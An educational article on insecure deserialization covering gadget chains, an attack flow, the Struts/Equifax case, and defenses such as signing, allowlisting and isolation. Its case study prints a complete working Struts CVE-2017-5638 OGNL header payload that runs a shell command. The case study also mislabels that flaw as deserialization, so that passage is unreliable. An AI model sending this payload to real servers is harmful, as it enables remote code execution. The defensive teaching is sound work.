Insecure Deserialization
1. Definition
Insecure Deserialization occurs when an application deserializes (converts serialized data back into objects) untrusted data without proper validation. Attackers can manipulate serialized objects to:
- Execute arbitrary code on the server
- Perform injection attacks
- Replay, tamper with, or escalate privileges
- Cause denial of service
This vulnerability is particularly dangerous because exploitation often leads directly to Remote Code Execution (RCE).
2. Technical Explanation
Serialization converts objects into a format (bytes, JSON, XML) that can be stored or transmitted. Deserialization reconstructs objects from that format.
Why It’s Dangerous: Many languages execute code during deserialization:
- Object constructors/destructors are called
- Magic methods are invoked (
__wakeup()in PHP,readObject()in Java) - Property setters may trigger side effects
Vulnerable Languages and Formats:
- Java: Native serialization, XStream, Jackson (with polymorphism)
- PHP:
unserialize()function - Python:
picklemodule - .NET:
BinaryFormatter,ObjectStateFormatter - Ruby:
Marshal.load()
Attack Concept - Gadget Chains: Attackers don’t inject new code. Instead, they chain existing classes (“gadgets”) in the application or its libraries to achieve code execution.
Serialized Object → Deserialization → Gadget Class A
↓ calls
Gadget Class B
↓ calls
Gadget Class C
↓ executes
Runtime.exec("malicious command")3. Attack Flow
sequenceDiagram
participant Attacker
participant WebApp as Web Application
participant Deserializer as Deserialization Library
participant System as Operating System
Attacker->>Attacker: Craft malicious serialized payload<br/>using known gadget chain
Attacker->>WebApp: Send payload in cookie/parameter<br/>session=rO0ABXNyABFqYXZhLnV0aWw...
WebApp->>Deserializer: Deserialize session data
Deserializer->>Deserializer: Reconstruct object graph<br/>Trigger gadget chain
Note over Deserializer: Gadget chain executes<br/>malicious code path
Deserializer->>System: Runtime.exec or equivalent
System-->>Attacker: Reverse shell / Command output4. Real-World Case Study: Apache Struts (2017)
Target: Equifax and thousands of other organizations. Vulnerability Class: Java Deserialization RCE (CVE-2017-5638).
The Vulnerability: Apache Struts, a popular Java web framework, had a critical vulnerability in its Jakarta Multipart parser. When processing Content-Type headers for file uploads, it used OGNL (Object-Graph Navigation Language) expressions that could be manipulated.
The Attack: The attacker sent a malicious HTTP request with a crafted Content-Type header:
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}Equifax Breach: In September 2017, Equifax disclosed that attackers had exploited this vulnerability to access personal data of 147 million people, including Social Security numbers, birth dates, and addresses.
Impact: One of the largest data breaches in history, resulting in $700+ million in settlements. This demonstrated how a single deserialization vulnerability could have catastrophic consequences.
5. Detailed Defense Strategies
A. Avoid Native Deserialization
The safest approach is to not deserialize untrusted data at all.
- Use Simple Data Formats: Prefer JSON or XML with explicit parsing (not object mapping).
- No Polymorphic Deserialization: Avoid features that allow arbitrary class instantiation.
// Bad: Native Java deserialization
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // Dangerous!
// Better: JSON with explicit type
ObjectMapper mapper = new ObjectMapper();
User user = mapper.readValue(json, User.class); // Explicit typeB. Integrity Checks
Sign serialized data to detect tampering.
- HMAC Signature: Sign data before serialization, verify before deserialization.
- Encryption: Encrypt serialized data so attackers cannot craft valid payloads.
import hmac
import hashlib
def serialize_with_signature(data, secret_key):
serialized = pickle.dumps(data)
signature = hmac.new(secret_key, serialized, hashlib.sha256).hexdigest()
return serialized + b'.' + signature.encode()
def deserialize_with_verification(signed_data, secret_key):
serialized, signature = signed_data.rsplit(b'.', 1)
expected = hmac.new(secret_key, serialized, hashlib.sha256).hexdigest()
if not hmac.compare_digest(signature.decode(), expected):
raise ValueError("Invalid signature")
return pickle.loads(serialized)C. Type Constraints (Allowlisting)
Restrict which classes can be deserialized.
Java (with ObjectInputFilter - Java 9+):
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.myapp.model.*;!*" // Allow only com.myapp.model, deny all others
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);D. Isolate Deserialization
Run deserialization in a sandboxed environment.
- Separate Process: Deserialize in a low-privilege process.
- Container Isolation: Use containers with restricted capabilities.
- Time Limits: Abort deserialization that takes too long (DoS protection).
E. Monitor and Detect
- Log Deserialization: Track all deserialization operations.
- Anomaly Detection: Alert on unusual class loading patterns.
- RASP (Runtime Application Self-Protection): Tools that detect exploitation attempts.
F. Keep Dependencies Updated
Many deserialization exploits target known vulnerable libraries.
- Dependency Scanning: Use tools like OWASP Dependency-Check, Snyk.
- Gadget Libraries: Watch for vulnerabilities in common libraries (Commons Collections, Spring, etc.).
